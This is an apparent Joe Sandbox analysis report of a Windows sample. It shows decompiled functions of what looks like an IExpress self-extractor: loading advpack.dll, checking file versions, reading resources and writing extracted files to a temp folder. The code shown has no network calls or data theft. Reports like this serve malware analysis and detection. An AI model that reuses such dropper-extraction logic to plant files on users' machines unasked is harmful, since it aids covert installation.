LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 00F364F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 00F36502

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F364AC
advpack.dll, xrefs: 00F364C2, 00F364CD, 00F36501

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$advpack.dll
API String ID: 438848745-3290281839
Opcode ID: ae1ae87f614d74484e9d52b8766177dc65a835616d7fe9f0f1fc196b3d9dd65e
Instruction ID: 7df1fe2293d93704fb39c9f2348da5c1864f142df02b44ab1bf1e567bc56c63b
Opcode Fuzzy Hash: ae1ae87f614d74484e9d52b8766177dc65a835616d7fe9f0f1fc196b3d9dd65e
Instruction Fuzzy Hash: D0012170A00108ABDB54EB60DC49AEE7739EB50330F4001A5F485E21C0DFB49E8AAA11

Uniqueness

Uniqueness Score: -1.00%

Function 00F328E8 Relevance: 7.6, APIs: 5, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F328E8(intOrPtr __ecx, char* __edx, intOrPtr* _a8) {
				void* _v8;
				char* _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				void* _v36;
				int _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				long _t68;
				void* _t70;
				void* _t73;
				void* _t79;
				void* _t83;
				void* _t87;
				void* _t88;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t99;
				int _t101;
				void* _t103;
				void* _t106;
				void* _t109;
				void* _t110;

				_v12 = __edx;
				_t99 = __ecx;
				_t106 = 0;
				_v16 = __ecx;
				_t87 = 0;
				_t103 = 0;
				_v20 = 0;
				if( *((intOrPtr*)(__ecx + 0x7c)) <= 0) {
					L19:
					_t106 = 1;
				} else {
					_t62 = 0;
					_v8 = 0;
					while(1) {
						_v24 =  *((intOrPtr*)(_t99 + 0x80));
						if(E00F32773(_v12,  *((intOrPtr*)(_t62 + _t99 +  *((intOrPtr*)(_t99 + 0x80)) + 0xbc)) + _t99 + 0x84) == 0) {
							goto L20;
						}
						_t68 = GetFileVersionInfoSizeA(_v12,  &_v32);
						_v28 = _t68;
						if(_t68 == 0) {
							_t99 = _v16;
							_t70 = _v8 + _t99;
							_t93 = _v24;
							_t87 = _v20;
							if( *((intOrPtr*)(_t70 + _t93 + 0x84)) == _t106 &&  *((intOrPtr*)(_t70 + _t93 + 0x88)) == _t106) {
								goto L18;
							}
						} else {
							_t103 = GlobalAlloc(0x42, _t68);
							if(_t103 != 0) {
								_t73 = GlobalLock(_t103);
								_v36 = _t73;
								if(_t73 != 0) {
									if(GetFileVersionInfoA(_v12, _v32, _v28, _t73) == 0 || VerQueryValueA(_v36, "\\",  &_v44,  &_v40) == 0 || _v40 == 0) {
										L15:
										GlobalUnlock(_t103);
										_t99 = _v16;
										L18:
										_t87 = _t87 + 1;
										_t62 = _v8 + 0x3c;
										_v20 = _t87;
										_v8 = _v8 + 0x3c;
										if(_t87 <  *((intOrPtr*)(_t99 + 0x7c))) {
											continue;
										} else {
											goto L19;
										}
									} else {
										_t79 = _v44;
										_t88 = _t106;
										_v28 =  *((intOrPtr*)(_t79 + 0xc));
										_t101 = _v28;
										_v48 =  *((intOrPtr*)(_t79 + 8));
										_t83 = _v8 + _v16 + _v24 + 0x94;
										_t97 = _v48;
										_v36 = _t83;
										_t109 = _t83;
										do {
											 *((intOrPtr*)(_t110 + _t88 - 0x34)) = E00F32A89(_t97, _t101,  *((intOrPtr*)(_t109 - 0x10)),  *((intOrPtr*)(_t109 - 0xc)));
											 *((intOrPtr*)(_t110 + _t88 - 0x3c)) = E00F32A89(_t97, _t101,  *((intOrPtr*)(_t109 - 4)),  *_t109);
											_t109 = _t109 + 0x18;
											_t88 = _t88 + 4;
										} while (_t88 < 8);
										_t87 = _v20;
										_t106 = 0;
										if(_v56 < 0 || _v64 > 0) {
											if(_v52 < _t106 || _v60 > _t106) {
												GlobalUnlock(_t103);
											} else {
												goto L15;
											}
										} else {
											goto L15;
										}
									}
								}
							}
						}
						goto L20;
					}
				}
				L20:
				 *_a8 = _t87;
				if(_t103 != 0) {
					GlobalFree(_t103);
				}
				return _t106;
			}

0x00f328f1
0x00f328f4
0x00f328f7
0x00f328f9
0x00f328fc
0x00f328ff
0x00f32901
0x00f32907
0x00f32a62
0x00f32a64
0x00f3290d
0x00f3290d
0x00f3290f
0x00f32912
0x00f32920
0x00f32937
0x00000000
0x00000000
0x00f32944
0x00f3294a
0x00f3294f
0x00f32a2f
0x00f32a32
0x00f32a34
0x00f32a37
0x00f32a41
0x00000000
0x00000000
0x00f32955
0x00f3295e
0x00f32962
0x00f32969
0x00f3296f
0x00f32974
0x00f3298c
0x00f32a20
0x00f32a21
0x00f32a27
0x00f32a4c
0x00f32a4f
0x00f32a50
0x00f32a53
0x00f32a56
0x00f32a5c
0x00000000
0x00000000
0x00000000
0x00000000
0x00f329b2
0x00f329b2
0x00f329b5
0x00f329bd
0x00f329c3
0x00f329cc
0x00f329d5
0x00f329d7
0x00f329da
0x00f329dd
0x00f329df
0x00f329ec
0x00f329f8
0x00f329fc
0x00f329ff
0x00f32a02
0x00f32a07
0x00f32a0a
0x00f32a0f
0x00f32a19
0x00f32a81
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00f32a0f
0x00f3298c
0x00f32974
0x00f32962
0x00000000
0x00f3294f
0x00f32912
0x00f32a65
0x00f32a68
0x00f32a6c
0x00f32a6f
0x00f32a6f
0x00f32a7d

APIs

GlobalFree.KERNEL32 ref: 00F32A6F

Part of subcall function 00F32773: CharUpperA.USER32(C69E30F7,00000000,00000000,00000000), ref: 00F327A8
Part of subcall function 00F32773: CharNextA.USER32(0000054D), ref: 00F327B5
Part of subcall function 00F32773: CharNextA.USER32(00000000), ref: 00F327BC
Part of subcall function 00F32773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F32829
Part of subcall function 00F32773: RegQueryValueExA.ADVAPI32(?,00F31140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F32852
Part of subcall function 00F32773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F32870
Part of subcall function 00F32773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00F328A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,00F33938,?,?,?,?,-00000005), ref: 00F32958
GlobalLock.KERNEL32 ref: 00F32969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,00F33938,?,?,?,?,-00000005,?), ref: 00F32A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?), ref: 00F32A81

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID:
API String ID: 3949799724-0
Opcode ID: 8dcb1495fe283f90c93e9f990bb48bfc8374acac39bab9090ca914ddae34293c
Instruction ID: 3cf54ea0a16650743b760287e6e5bc53ccf68882d884222939324757a8bd1f35
Opcode Fuzzy Hash: 8dcb1495fe283f90c93e9f990bb48bfc8374acac39bab9090ca914ddae34293c
Instruction Fuzzy Hash: 17512971E00219DBCF65CF99C884AAEBBB6FF48720F14406AE945E3211DB399941EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F34169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E00F34169(void* __eflags) {
				int _t18;
				void* _t21;

				_t20 = E00F3468F("FINISHMSG", 0, 0);
				_t21 = LocalAlloc(0x40, 4 + _t3 * 4);
				if(_t21 != 0) {
					if(E00F3468F("FINISHMSG", _t21, _t20) != 0) {
						if(lstrcmpA(_t21, "<None>") == 0) {
							L7:
							return LocalFree(_t21);
						}
						_push(0);
						_push(0x40);
						_push(0);
						_push(_t21);
						_t18 = 0x3e9;
						L6:
						E00F344B9(0, _t18);
						goto L7;
					}
					_push(0);
					_push(0x10);
					_push(0);
					_push(0);
					_t18 = 0x4b1;
					goto L6;
				}
				return E00F344B9(0, 0x4b5, 0, 0, 0x10, 0);
			}

0x00f3417d
0x00f3418f
0x00f34193
0x00f341b7
0x00f341d3
0x00f341e6
0x00000000
0x00f341e7
0x00f341d5
0x00f341d6
0x00f341d8
0x00f341d9
0x00f341da
0x00f341df
0x00f341e1
0x00000000
0x00f341e1
0x00f341b9
0x00f341ba
0x00f341bc
0x00f341bd
0x00f341be
0x00000000
0x00f341be
0x00000000

APIs

Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346A0
Part of subcall function 00F3468F: SizeofResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346A9
Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346C3
Part of subcall function 00F3468F: LoadResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346CC
Part of subcall function 00F3468F: LockResource.KERNEL32(00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346D3
Part of subcall function 00F3468F: memcpy_s.MSVCRT ref: 00F346E5
Part of subcall function 00F3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,00F330B4), ref: 00F34189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,00F330B4), ref: 00F341E7

Part of subcall function 00F344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F34518
Part of subcall function 00F344B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F34554

Strings

FINISHMSG, xrefs: 00F34173, 00F341AB
<None>, xrefs: 00F341C5

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: 4fac9aeca0aaf22f4dd336ce0e7f37a2ca48d1b33cf31494ca1189f7675f5395
Instruction ID: 6d9d6f15c6b6db05c5c949562f0d8fc2736b05d7fe39d489b298bda61101bcdb
Opcode Fuzzy Hash: 4fac9aeca0aaf22f4dd336ce0e7f37a2ca48d1b33cf31494ca1189f7675f5395
Instruction Fuzzy Hash: FB01F4F27006183BF3252A668C86F7B718EEBD57B5F104035BB46E12809AACFC417175

Uniqueness

Uniqueness Score: -1.00%

Function 00F319E0 Relevance: 7.6, APIs: 5, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00F319E0(void* __ebx, void* __edi, struct HWND__* _a4, intOrPtr _a8, int _a12, int _a16) {
				signed int _v8;
				char _v520;
				void* __esi;
				signed int _t11;
				void* _t14;
				void* _t23;
				void* _t27;
				void* _t33;
				struct HWND__* _t34;
				signed int _t35;

				_t33 = __edi;
				_t27 = __ebx;
				_t11 =  *0xf38004; // 0xc69e30f7
				_v8 = _t11 ^ _t35;
				_t34 = _a4;
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t32 = GetDesktopWindow();
					E00F343D0(_t34, _t15);
					_v520 = 0;
					LoadStringA( *0xf39a3c, _a16,  &_v520, 0x200);
					SetDlgItemTextA(_t34, 0x83f,  &_v520);
					MessageBeep(0xffffffff);
					goto L6;
				} else {
					if(_t14 != 1) {
						L4:
						_t23 = 0;
					} else {
						_t32 = _a12;
						if(_t32 - 0x83d > 1) {
							goto L4;
						} else {
							EndDialog(_t34, _t32);
							L6:
							_t23 = 1;
						}
					}
				}
				return E00F36CE0(_t23, _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x00f319e0
0x00f319e0
0x00f319eb
0x00f319f2
0x00f319f9
0x00f319fc
0x00f31a01
0x00f31a2a
0x00f31a2e
0x00f31a3e
0x00f31a4f
0x00f31a62
0x00f31a6a
0x00000000
0x00f31a03
0x00f31a06
0x00f31a20
0x00f31a20
0x00f31a08
0x00f31a08
0x00f31a14
0x00000000
0x00f31a16
0x00f31a18
0x00f31a70
0x00f31a72
0x00f31a72
0x00f31a14
0x00f31a06
0x00f31a81

APIs

EndDialog.USER32(?,?), ref: 00F31A18
GetDesktopWindow.USER32 ref: 00F31A24
LoadStringA.USER32(?,?,00000200), ref: 00F31A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 00F31A62
MessageBeep.USER32(000000FF), ref: 00F31A6A

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 03e414487aba4d402a1ab002c2152bba56e203c27274e5baa7289b5cd88324b5
Instruction ID: efcf637ae5848fd39d183197885b4b818d583f8fecc8c0f62e2d068e40e35d60
Opcode Fuzzy Hash: 03e414487aba4d402a1ab002c2152bba56e203c27274e5baa7289b5cd88324b5
Instruction Fuzzy Hash: A6118E3160110DABDB10EF64DD08AAE77B9FB49331F108154F96292190DA34AE05FB95

Uniqueness

Uniqueness Score: -1.00%

Function 00F37155 Relevance: 7.6, APIs: 5, Instructions: 51
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F37155() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;
				signed int _t23;
				signed int _t36;
				signed int _t37;
				signed int _t39;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				_t23 =  *0xf38004; // 0xc69e30f7
				if(_t23 == 0xbb40e64e || (0xffff0000 & _t23) == 0) {
					GetSystemTimeAsFileTime( &_v16);
					_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
					_v8 = _v8 ^ GetCurrentProcessId();
					_v8 = _v8 ^ GetCurrentThreadId();
					_v8 = GetTickCount() ^ _v8 ^  &_v8;
					QueryPerformanceCounter( &_v24);
					_t36 = _v20 ^ _v24.LowPart ^ _v8;
					_t39 = _t36;
					if(_t36 == 0xbb40e64e || ( *0xf38004 & 0xffff0000) == 0) {
						_t36 = 0xbb40e64f;
						_t39 = 0xbb40e64f;
					}
					 *0xf38004 = _t39;
				}
				_t37 =  !_t36;
				 *0xf38008 = _t37;
				return _t37;
			}

0x00f3715d
0x00f37161
0x00f37165
0x00f37178
0x00f37182
0x00f3718e
0x00f37197
0x00f371a0
0x00f371b1
0x00f371b8
0x00f371c4
0x00f371c7
0x00f371cb
0x00f371d5
0x00f371da
0x00f371da
0x00f371dc
0x00f371dc
0x00f371e2
0x00f371e5
0x00f371ee

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00F37182
GetCurrentProcessId.KERNEL32 ref: 00F37191
GetCurrentThreadId.KERNEL32 ref: 00F3719A
GetTickCount.KERNEL32 ref: 00F371A3
QueryPerformanceCounter.KERNEL32(?), ref: 00F371B8

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: c2add5da002b23f833a8bf87187821a002d2e1348694aed626d04ec63efc5573
Instruction ID: b83a07e1c1fe719fa03c56f62997d400f98aaf6f7bcb3da6d3dd2bdac7a899dd
Opcode Fuzzy Hash: c2add5da002b23f833a8bf87187821a002d2e1348694aed626d04ec63efc5573
Instruction Fuzzy Hash: C1113AB1D0520CDBCB14EFB9DA48A9EB7F6EF18320F614855E801E7214EA349A05AF41

Uniqueness

Uniqueness Score: -1.00%

Function 00F363C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00F363C0(void* __ecx, void* __eflags, long _a4, intOrPtr _a12, void* _a16) {
				signed int _v8;
				char _v268;
				long _v272;
				void* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t15;
				long _t28;
				struct _OVERLAPPED* _t37;
				void* _t39;
				signed int _t40;

				_t15 =  *0xf38004; // 0xc69e30f7
				_v8 = _t15 ^ _t40;
				_v272 = _v272 & 0x00000000;
				_push(__ecx);
				_v276 = _a16;
				_t37 = 1;
				E00F31781( &_v268, 0x104, __ecx, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\");
				E00F3658A( &_v268, 0x104, _a12);
				_t28 = 0;
				_t39 = CreateFileA( &_v268, 0x40000000, 0, 0, 2, 0x80, 0);
				if(_t39 != 0xffffffff) {
					_t28 = _a4;
					if(WriteFile(_t39, _v276, _t28,  &_v272, 0) == 0 || _t28 != _v272) {
						 *0xf39124 = 0x80070052;
						_t37 = 0;
					}
					CloseHandle(_t39);
				} else {
					 *0xf39124 = 0x80070052;
					_t37 = 0;
				}
				return E00F36CE0(_t37, _t28, _v8 ^ _t40, 0x104, _t37, _t39);
			}

0x00f363cb
0x00f363d2
0x00f363d8
0x00f363ea
0x00f363f3
0x00f36401
0x00f36402
0x00f36410
0x00f36415
0x00f36433
0x00f36438
0x00f36449
0x00f36463
0x00f3646d
0x00f36477
0x00f36477
0x00f3647a
0x00f3643a
0x00f3643a
0x00f36444
0x00f36444
0x00f36492

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\), ref: 00F3642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\), ref: 00F3645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\), ref: 00F3647A

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F363EB

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\
API String ID: 1065093856-3217841213
Opcode ID: 80463fcbe71e98566b03b57057f8ab7770044f23a2786a930d73ee9f83f386c0
Instruction ID: e89ed1848dc151bfa92c3dcccfb2c403ad848615199fb6954ec776aae804b200
Opcode Fuzzy Hash: 80463fcbe71e98566b03b57057f8ab7770044f23a2786a930d73ee9f83f386c0
Instruction Fuzzy Hash: D221C0B1A0021CABDB10DF25DC85FEA7769EB44334F0041A9F585A3280DAB49D85AFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00F347E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F347E0(intOrPtr* __ecx) {
				intOrPtr _t6;
				intOrPtr _t9;
				void* _t11;
				void* _t19;
				intOrPtr* _t22;
				void _t24;
				struct HWND__* _t25;
				struct HWND__* _t26;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr* _t33;
				void* _t34;

				_t33 = __ecx;
				_t34 = LocalAlloc(0x40, 8);
				if(_t34 != 0) {
					_t22 = _t33;
					_t27 = _t22 + 1;
					do {
						_t6 =  *_t22;
						_t22 = _t22 + 1;
					} while (_t6 != 0);
					_t24 = LocalAlloc(0x40, _t22 - _t27 + 1);
					 *_t34 = _t24;
					if(_t24 != 0) {
						_t28 = _t33;
						_t19 = _t28 + 1;
						do {
							_t9 =  *_t28;
							_t28 = _t28 + 1;
						} while (_t9 != 0);
						E00F31680(_t24, _t28 - _t19 + 1, _t33);
						_t11 =  *0xf391e0; // 0x9c7c60
						 *(_t34 + 4) = _t11;
						 *0xf391e0 = _t34;
						return 1;
					}
					_t25 =  *0xf38584; // 0x0
					E00F344B9(_t25, 0x4b5, _t8, _t8, 0x10, _t8);
					LocalFree(_t34);
					L2:
					return 0;
				}
				_t26 =  *0xf38584; // 0x0
				E00F344B9(_t26, 0x4b5, _t5, _t5, 0x10, _t5);
				goto L2;
			}

0x00f347e8
0x00f347f0
0x00f347f4
0x00f3480f
0x00f34811
0x00f34814
0x00f34814
0x00f34816
0x00f34817
0x00f34829
0x00f3482b
0x00f3482f
0x00f3484f
0x00f34852
0x00f34855
0x00f34855
0x00f34857
0x00f34858
0x00f34860
0x00f34865
0x00f3486a
0x00f3486f
0x00000000
0x00f34876
0x00f34831
0x00f34841
0x00f34847
0x00f3480b
0x00000000
0x00f3480b
0x00f347f6
0x00f34806
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,00F34E6F), ref: 00F347EA
LocalAlloc.KERNEL32(00000040,?), ref: 00F34823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 00F34847

Part of subcall function 00F344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F34518
Part of subcall function 00F344B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F34554

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F34851

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\
API String ID: 359063898-3217841213
Opcode ID: caaadd5bd8d88c0bac67f38abb3bdddb2096d279500ce1382d1867ac62133933
Instruction ID: c71de26d5a91f559f99577efe8e8b92475220b735cc6a7664ba3ca6e712d138c
Opcode Fuzzy Hash: caaadd5bd8d88c0bac67f38abb3bdddb2096d279500ce1382d1867ac62133933
Instruction Fuzzy Hash: 701125B5A047416FD7149F249C18F763B5BEB85370F048519FE829B381DA79FC06AA60

Uniqueness

Uniqueness Score: -1.00%

Function 00F33680 Relevance: 6.1, APIs: 4, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F33680(void* __ecx) {
				void* _v8;
				struct tagMSG _v36;
				int _t8;
				struct HWND__* _t16;

				_v8 = __ecx;
				_t16 = 0;
				while(1) {
					_t8 = MsgWaitForMultipleObjects(1,  &_v8, 0, 0xffffffff, 0x4ff);
					if(_t8 == 0) {
						break;
					}
					if(PeekMessageA( &_v36, 0, 0, 0, 1) == 0) {
						continue;
					} else {
						do {
							if(_v36.message != 0x12) {
								DispatchMessageA( &_v36);
							} else {
								_t16 = 1;
							}
							_t8 = PeekMessageA( &_v36, 0, 0, 0, 1);
						} while (_t8 != 0);
						if(_t16 == 0) {
							continue;
						}
					}
					break;
				}
				return _t8;
			}

0x00f3368c
0x00f3368f
0x00f33691
0x00f3369f
0x00f336a7
0x00000000
0x00000000
0x00f336ba
0x00000000
0x00f336bc
0x00f336bc
0x00f336c0
0x00f336cb
0x00f336c2
0x00f336c4
0x00f336c4
0x00f336da
0x00f336e0
0x00f336e6
0x00000000
0x00000000
0x00f336e6
0x00000000
0x00f336ba
0x00f336ed

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00F3369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00F336B2
DispatchMessageA.USER32(?), ref: 00F336CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00F336DA

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 10776b1ed410cf5c27dcf75cc08e41ae2dc3ebf2025a3cf059468a62d91ecbca
Instruction ID: 2b05cc8a934468676b41946179a847013ee7fc241bf6d9ce6a14678ee254fd61
Opcode Fuzzy Hash: 10776b1ed410cf5c27dcf75cc08e41ae2dc3ebf2025a3cf059468a62d91ecbca
Instruction Fuzzy Hash: 4D01A772D00218BBDB309BA75C4DEEB767CEBC5B30F100229FD05E2284D660C640EAB1

Uniqueness

Uniqueness Score: -1.00%

Function 00F36517 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00F36517(void* __ecx, CHAR* __edx, struct HWND__* _a4, _Unknown_base(*)()* _a8, intOrPtr _a12, int _a16) {
				struct HRSRC__* _t6;
				void* _t21;
				struct HINSTANCE__* _t23;
				int _t24;

				_t23 =  *0xf39a3c; // 0xf30000
				_t6 = FindResourceA(_t23, __edx, 5);
				if(_t6 == 0) {
					L6:
					E00F344B9(0, 0x4fb, 0, 0, 0x10, 0);
					_t24 = _a16;
				} else {
					_t21 = LoadResource(_t23, _t6);
					if(_t21 == 0) {
						goto L6;
					} else {
						if(_a12 != 0) {
							_push(_a12);
						} else {
							_push(0);
						}
